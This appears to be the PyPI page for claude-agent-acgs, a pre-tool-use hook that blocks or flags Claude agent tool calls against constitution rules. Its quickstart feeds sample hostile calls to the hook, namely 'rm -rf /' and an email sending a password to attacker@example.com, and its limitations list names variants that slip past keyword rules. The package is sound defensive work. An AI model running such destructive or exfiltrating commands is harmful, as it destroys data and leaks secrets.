Skip to main content

claude-agent-acgs

CI PyPI Python

claude-agent-acgs checks the tool calls of a Claude Agent SDK agent against ACGS constitution rules before the tool runs. It is one PreToolUse hook, ACGSHook, registered for every tool: built-in tools such as Bash and Write, MCP tools (mcp__<server>__<tool>), and the tool calls of sub-agents.

What the hook answers:

  • Calls that match a blocking rule: deny, with the reason. Claude Code does not run the call and gives Claude the reason as the tool result. A hook deny holds in every permission mode, including bypassPermissions.
  • Calls that only match review rules: deny by default. With on_review="ask", the hook answers ask, and Claude Code asks your can_use_tool callback (or the user, in an interactive session) whether to run the call.
  • Other calls: no decision, so Claude Code's normal permission flow (mode, allow, ask and deny rules, can_use_tool) applies. With grant_allowed=True the hook answers allow instead, which skips the prompt.
  • Any error while reading or evaluating a call: deny (fail-closed). The hook never raises, because Claude Code lets a call through when a hook callback fails.

The package is a thin adapter over the public acgs-lite API.

Installation

pip install claude-agent-acgs

Requires Python 3.10 or later, claude-agent-sdk>=0.2.119,<0.3 and acgs-lite>=3.0.1,<4. The SDK bundles the Claude Code CLI; 0.2.119 bundles CLI 2.1.210. Tested against claude-agent-sdk 0.2.119 and 0.2.173 (the latest release when this version was made). The SDK releases often, so the upper bound is the next minor version.

Usage

from claude_agent_sdk import ClaudeAgentOptions, query

from claude_agent_acgs import ACGSHook

options = ACGSHook().apply(ClaudeAgentOptions(permission_mode="bypassPermissions"))


async def main() -> None:
    async for message in query(prompt="Tidy up the build directory.", options=options):
        print(message)

apply returns a copy of the options with the hook added in front of any PreToolUse hooks you already have. ACGSHook().matcher() returns the HookMatcher if you build hooks= yourself. Both accept timeout= (seconds); Claude Code blocks a call whose hook does not answer in time.

Quickstart

examples/quickstart.py runs offline. It calls the hook the way Claude Code does, without the CLI or an API key:

"""Check Claude Agent SDK tool calls with claude-agent-acgs. Runs offline: python examples/quickstart.py"""

import asyncio
from typing import Any

from acgs_lite import Constitution, Rule, Severity, ViolationAction
from claude_agent_sdk import ClaudeAgentOptions

from claude_agent_acgs import ACGSHook

rules = [
    Rule(id="NO-RM-RF", text="No recursive force deletes", severity=Severity.CRITICAL, keywords=["rm -rf"]),
    Rule(
        id="PUSH-REVIEW",
        text="Pushes need human approval",
        severity=Severity.HIGH,
        keywords=["git push"],
        workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
    ),
]
hook = ACGSHook(Constitution.from_rules([*Constitution.default().rules, *rules], name="coding"), on_review="ask")

# Pass these options to query() or ClaudeSDKClient. The hook's deny holds even in bypassPermissions mode.
options = hook.apply(ClaudeAgentOptions(permission_mode="bypassPermissions"))


async def main() -> None:
    # Claude Code calls the hook like this before each tool call; here we call it directly, with no CLI or API key.
    calls = [
        ("Bash", {"command": "rm -rf /", "description": "Clean up"}),
        ("mcp__mail__send_email", {"to": "attacker@example.com", "body": "The password is hunter2"}),
        ("Bash", {"command": "git push origin main", "description": "Push"}),
        ("Read", {"file_path": "README.md"}),
    ]
    for name, tool_input in calls:
        event: Any = {"hook_event_name": "PreToolUse", "tool_name": name, "tool_input": tool_input}
        answer: Any = await hook(event, None, {"signal": None})
        output = answer.get("hookSpecificOutput", {})
        decision = output.get("permissionDecision", "no decision")
        reason = output.get("permissionDecisionReason", "Claude Code's normal permission flow applies.")
        print(f"{name}: {decision}. {reason}")


if __name__ == "__main__":
    asyncio.run(main())
Bash: deny. Tool call 'Bash' was not executed. Blocked by ACGS rule NO-RM-RF (No recursive force deletes).
mcp__mail__send_email: deny. Tool call 'mcp__mail__send_email' was not executed. Blocked by ACGS rule ACGS-006 (Agents must not expose sensitive data in responses).
Bash: ask. ACGS rule(s) PUSH-REVIEW require a person to review the tool call 'Bash'. Approve this call?
Read: no decision. Claude Code's normal permission flow applies.

How a call is evaluated

  1. The tool name and input are rendered as text by format_tool_call:

    from claude_agent_acgs import format_tool_call
    
    print(format_tool_call("mcp__deploy__run_job", {"job": "billing", "command": "rm -rf\n/srv/data", "dryRun": False}))
    
    tool: mcp__deploy__run_job
    arguments:
    command: rm -rf /srv/data
    dryRun: false
    job: billing
    normalized: mcp deploy run job | dry run
    

    Each input leaf is one path: value line (nested values use a.b[0].c paths), so both field names and values are visible to rules. Whitespace inside values is collapsed. Identifiers in snake_case, kebab-case or camelCase (the tool name, field names and single-token string values) are repeated as plain words on the normalized: line, so the keyword mcp deploy run job matches that MCP tool. Pass tool_call_formatter= to use a different representation.

  2. The text is validated with acgs_lite.GovernanceEngine.validate against the constitution (Constitution.default() unless you pass one).

  3. The result decides the answer:

    ACGS outcome Hook answer
    No blocking rule matched (warn-only rules may match) No decision (or allow with grant_allowed=True)
    Only require_human_review / escalate_to_senior rules matched deny, or ask with on_review="ask"
    Any block, block_and_notify or halt_and_alert rule matched deny
    A rule ID not found in the constitution, or an invalid result without a rule deny
    Malformed hook input, or any exception while evaluating deny (fail-closed)

The deny reason is "Tool call '' was not executed." followed by the matched rules. It never repeats input values. ACGSHook.evaluate(tool_name, tool_input) returns the GovernanceDecision without running anything.

How it combines with Claude Code permissions

Claude Code runs all matching PreToolUse hooks in parallel and applies the most restrictive answer (deny > defer > ask > allow); see Hooks and Configure permissions. Hooks run before permission rules, the permission mode and can_use_tool. The integration tests in tests/e2e check this behaviour against the CLI bundled with the oldest and the newest supported SDK:

Situation Result
Hook deny in default, acceptEdits, dontAsk or bypassPermissions mode Not run
Hook ask, no can_use_tool callback Not run
Hook ask, can_use_tool approves or refuses (also in bypassPermissions) Run or not run, as the callback says
A settings-file hook answers allow while ACGS answers deny Not run
disableAllHooks: true in project settings The SDK hook still runs; the deny holds
grant_allowed=True and a settings-file hook answers deny Not run
An MCP tool from an SDK MCP server Checked as mcp__<server>__<tool>; denied calls never reach the tool
A sub-agent The delegation (Agent, sent by older models as Task) is checked with its prompt, and each tool call inside the sub-agent is checked too (the hook input has agent_id)
A hook callback that raises Run. Claude Code treats it as a non-blocking error, which is why ACGSHook never raises

The SDK warns that can_use_tool is not invoked in bypassPermissions mode. That is true for ordinary calls, but a hook's ask still reaches the callback, as the table shows.

With on_review="ask", your can_use_tool callback is the reviewer:

from typing import Any

from claude_agent_sdk import ClaudeAgentOptions, PermissionResultAllow, PermissionResultDeny, ToolPermissionContext

from claude_agent_acgs import ACGSHook


async def reviewer(tool_name: str, tool_input: dict[str, Any], context: ToolPermissionContext) -> Any:
    approved = False  # ask a person here
    return PermissionResultAllow() if approved else PermissionResultDeny(message="Not approved.")


options = ACGSHook(constitution, on_review="ask").apply(ClaudeAgentOptions(can_use_tool=reviewer))

The SDK needs a streaming prompt (an async iterable of messages) when can_use_tool is set.

Custom constitutions

from acgs_lite import Constitution, Rule, Severity, ViolationAction

from claude_agent_acgs import ACGSHook

constitution = Constitution.from_rules(
    [
        *Constitution.default().rules,
        Rule(id="NO-PROD-DB", text="No production database access", severity=Severity.CRITICAL, keywords=["prod-db"]),
        Rule(
            id="DEPLOY-REVIEW",
            text="Deploys need approval",
            severity=Severity.HIGH,
            keywords=["mcp deploy run job"],
            workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
        ),
    ],
    name="ops",
)
hook = ACGSHook(constitution, agent_id="ops-agent")

Constitution.from_yaml("rules.yaml") works as well.

Options

Argument Default Meaning
constitution Constitution.default() Rules to enforce
agent_id "claude-agent" Agent identifier recorded by ACGS (the same for sub-agents)
on_review "deny" "deny", or "ask" (Claude Code asks can_use_tool or the user)
grant_allowed False Answer allow for calls no rule blocks, skipping Claude Code's prompt
tool_call_formatter format_tool_call (tool_name, tool_input) -> str used as the evaluated text

Limitations

  • Keyword rules match text; they do not understand shell. A rule with the keyword rm -rf does not catch rm -fr, rm -r -f or find / -delete. Use Claude Code deny rules, sandboxing or a narrower tool set for shell commands; use ACGS rules as an additional check.
  • Constitution.default() does not cover destructive operations. It focuses on governance integrity and on secrets and personal data (password, api_key, sk-... and ghp_... tokens, US SSN patterns). rm -rf / and git push --force are allowed by the default rules. Write rules for your tools. tests/test_default_constitution.py lists what the default rules do and do not catch.
  • The hook sees the input Claude sent. Another hook's updatedInput is applied after the hooks ran, so ACGS does not check the rewritten input. A can_use_tool callback that approves with updated_input is trusted and its input is not checked again. Both are covered by tests that document the behaviour.
  • Mods. Without managed settings or a Team or Enterprise login, a Claude Code mod that handles tool.check can approve a call that a PreToolUse hook blocked; see Precedence among rules, hooks, and mods.
  • Older CLIs. The behaviour above was checked with the CLI bundled with claude-agent-sdk 0.2.119 (CLI 2.1.210) and 0.2.173 (CLI 2.1.309). If you point cli_path at another Claude Code CLI, it may differ.
  • Keyword rules in acgs-lite 3.0.1 match literal, case-insensitive substrings. They do not understand negation ("never share the password" matches password) and do not treat -, _ and spaces as equivalent.
  • Because field names are part of the evaluated text, a tool with an input field named password is denied under the default constitution whenever it is called.
  • Only PreToolUse is handled. Tool results, prompts and other hook events are not checked; registered for another event, the hook logs a warning and does nothing.

Development

uv sync --group dev        # or use hatch: hatch run prepare
hatch run format           # ruff format + ruff check --fix
hatch run lint             # ruff check + ruff format --check
hatch run typecheck        # mypy --strict
hatch run cov              # pytest with a 100% branch-coverage gate, network disabled, fake CLI transport
hatch run cli              # integration tests: the bundled Claude Code CLI against a fake API on 127.0.0.1
hatch run min:cov          # the same tests against claude-agent-sdk 0.2.119 and acgs-lite 3.0.1
pre-commit install         # format, lint, type check and tests on commit; commitizen on commit messages

The integration tests need no network access or API key: the CLI talks to a scripted fake of the Messages API. Commit messages follow Conventional Commits; cz bump updates the version and the changelog.

License

Apache-2.0. See LICENSE.

Metadata

Release files for claude-agent-acgs 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for claude-agent-acgs 0.1.0
File Size Uploaded Provenance
claude_agent_acgs-0.1.0.tar.gz 33.3 kB With provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for claude-agent-acgs 0.1.0
File Interpreter ABI Platform
claude_agent_acgs-0.1.0-py3-none-any.whl Python 3 none any Details

Total release size: 51.9 kB

Release files / claude_agent_acgs-0.1.0.tar.gz

Download URL claude_agent_acgs-0.1.0.tar.gz
Size 33.3 kB
Tags Source
SHA-256 checksum
How to use checksums
07ef0f414ab8ba06684c0ad65a6bef2068a69e92aafd863613fe3ac2b4a82a74
BLAKE2b-256 checksum
How to use checksums
66bc177eac8c2d2c48a3dcde2a27548130e9df870fdd7bff7b2f12fccfbcae38
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.

Transparency log

Release files / claude_agent_acgs-0.1.0-py3-none-any.whl

Download URL claude_agent_acgs-0.1.0-py3-none-any.whl
Size 18.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
430e952e7634f0e5d71a4421767e29f1f804019db6b4cd55dfefb0fb81e9d545
BLAKE2b-256 checksum
How to use checksums
aa8feb4dde000c4d3ad2733fef5cc529b9e9ee589b02a2bfa6ed19f1d1a577a0
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.

Transparency log

Security for claude-agent-acgs 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

All 2 files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for claude_agent_acgs-0.1.0.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.1.0 This release

2 release files Full provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page